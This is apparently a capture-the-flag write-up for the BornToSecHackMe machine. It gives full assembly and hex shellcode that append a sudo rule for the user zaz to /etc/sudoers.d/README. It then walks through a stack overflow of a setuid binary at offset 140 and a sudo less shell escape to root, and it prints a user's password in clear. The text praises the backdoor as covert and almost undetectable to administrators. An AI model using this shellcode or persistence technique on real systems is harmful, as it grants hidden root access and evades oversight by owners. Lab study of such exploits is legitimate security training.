./lessIsTheNewMore

In this write-up, we'll develop a **shellcode** that subtly modifies the server's access controls: it will add the line **zaz ALL=(ALL:ALL) /bin/less** to the **/etc/sudoers.d/README** file.

This approach is particularly covert because it leaves the main **sudoers** file **untouched** and grants **sudo privileges** to the user **zaz** specifically and only for the **less** command.

If the less binary is allowed to run as **superuser** by **sudo**, it does not drop the elevated privileges and may be used to access the file system or **escalate privileged access.** More info here.

This creates a **discreet backdoor** on the server, accessible in the long run. Additionally, by not altering the **root** password, this modification remains almost **undetectable**, ensuring that no immediate changes are noticeable to the system's administrators or other users.

To create the **shellcode** for our operation, we first need the **assembly** code:

```
section .text
    global _start

_start:
    xor eax, eax          ; Clear eax
    xor ecx, ecx          ; Clear ecx
    xor edx, edx          ; Clear edx
    push eax              ; Push null byte onto stack
    push 0x454d4441       ; ADME
    push 0x45522f64       ; d/RE
    push 0x2e737265       ; ers.
    push 0x6f647573       ; sudo
    push 0x2f637465       ; etc/
    push 0x2f2f2f2f       ; ////

    mov ebx, esp          ; Move pointer to file name into ebx
    mov al, 5             ; sys_open
    mov cx, 1089          ; O_WRONLY | O_APPEND | O_CREAT
    mov dx, 440           ; permissions
    int 0x80

    mov ebx, eax          ; file descriptor

    xor eax, eax          ; Clear eax
    push eax              ; Push null byte onto stack
    push 0x0a737365       ; ess\n
    push 0x6c2f6e69       ; in/l
    push 0x622f2029       ; ) /b
    push 0x4c4c413a       ; :ALL
    push 0x4c4c4128       ; (ALL
    push 0x3d4c4c41       ; ALL=
    push 0x207a617a       ; zaz
    ; Write to file
    mov al, 4             ; sys_write
    xor edx, edx          ; Clear edx
    mov ecx, esp
    mov dl, 28            ; length of string
    int 0x80

    ; Close file
    mov al, 6             ; sys_close
    int 0x80

    ; Exit
    mov al, 1             ; sys_exit
    xor ebx, ebx
    int 0x80
```

Now that we have written the **assembly code**, the next steps are to **assemble** the code with **NASM** and then use **objdump** to generate the actual shellcode.

```
┌──(kali㉿kali)-[~]
└─$ nasm -f elf32 sudoers.asm -o sudoers.o && ld -m elf_i386 -o sudoers
sudoers.o

┌──(kali㉿kali)-[~]
└─$ objdump -d sudoers | grep -Po '\s\K[\da-f]{2}(?=\s)' | tr -d '\n' |
sed 's/\([0-9a-f]\{2\}\)/\\x\1/g' | sed 's/^/"/' | sed 's/$/"/'
"\x31\xc0\x31\xc9\x31\xd2\x50\x68\x41\x44\x4d\x45\x68\x64\x2f\x52\x45\
x68\x65\x72\x73\x2e\x68\x73\x75\x64\x6f\x68\x65\x74\x63\x2f\x68\x2f\x2f\
x2f\x2f\x89\xe3\xb0\x05\x66\xb9\x41\x04\x66\xba\xb8\x01\xcd\x80\x89\xc3\
x31\xc0\x50\x68\x65\x73\x73\x0a\x68\x69\x6e\x2f\x6c\x68\x29\x20\x2f\x62\
x68\x3a\x41\x4c\x4c\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x7a\x61\
x7a\x20\xb0\x04\x31\xd2\x89\xe1\xb2\x1c\xcd\x80\xb0\x06\xcd\x80\xb0\x01\
x31\xdb\xcd\x80"
```

The **exploit_me** file in the **zaz** user's folder, with permissions set as *-rwsr-s---* and owned by *root*, allows us to execute our **shellcode** with **root** privileges due to the **setuid** bit being set.

After setting the **shellcode** as an environment variable, we'll use **GDB** to determine its memory address within the context of the **exploit_me** program.

```
zaz@BornToSecHackMe:~$ export SHELLCODE=$(python -c 'print "\x31\xc0\...\xcd\x80"')

zaz@BornToSecHackMe:~$ exec env - SHELLCODE="$SHELLCODE" gdb -ex 'unset env LINES' -ex
'unset env COLUMNS' --args ./exploit_me

(gdb) b puts
Breakpoint 1 at 0x8048310

(gdb) run $(python -c 'print "A"*140 + "B"*4')
Starting program: /home/zaz/exploit_me $(python -c 'print "A"*140 + "B"*4')

Breakpoint 1, 0xb7e927e0 in puts () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/s *((char **) environ+1)
0xbffff6d:      "SHELLCODE=1\300\061\311\061\...\006\315\200\260\001\061\333\315\200"

(gdb) x/s *((char **) environ+1) + 10
0xbfffff77:      "1\300\061\311\061\322PhADMEhd/REhers.hsudohetc/h/...\333\315\200"

(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

With the memory address of our **shellcode** identified, the next step is to execute the **exploit_me** program using the specific **offset** we pinpointed in the first writeup.
This offset is 140, and it will be followed by the memory address of the **shellcode**

```
zaz@BornToSecHackMe:~$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xc9\
x31\xd2\x50\x68\x41\x44\x4d\x45\x68\x64\x2f\x52\x45\x68\x65\x72\x73\x2e\x68\
x73\x75\x64\x6f\x68\x65\x74\x63\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\xb0\x05\x66\
xb9\x41\x04\x66\xba\xb8\x01\xcd\x80\x89\xc3\x31\xc0\x50\x68\x65\x73\x73\x0a\
x68\x69\x6e\x2f\x6c\x68\x29\x20\x2f\x62\x68\x3a\x41\x4c\x4c\x68\x28\x41\x4c\
x4c\x68\x41\x4c\x4c\x3d\x68\x7a\x61\x7a\x20\xb0\x04\x31\xd2\x89\xe1\xb2\x1c\
xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80"')

zaz@BornToSecHackMe:~$ env - PWD=$PWD SHELLCODE="$SHELLCODE" ~/exploit_me
$(python -c 'print "A" * 140 + "\xbf\xff\xff\x77"[::-1]')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw□□□

zaz@BornToSecHackMe:~$ sudo less .cache/motd.legal-displayed
[sudo] password for zaz: 646da671ca01bb5d84dbb5fb2238dc8e

!/bin/bash

root@BornToSecHackMe:~# id
uid=0(root) gid=0(root) groups=0(root)
```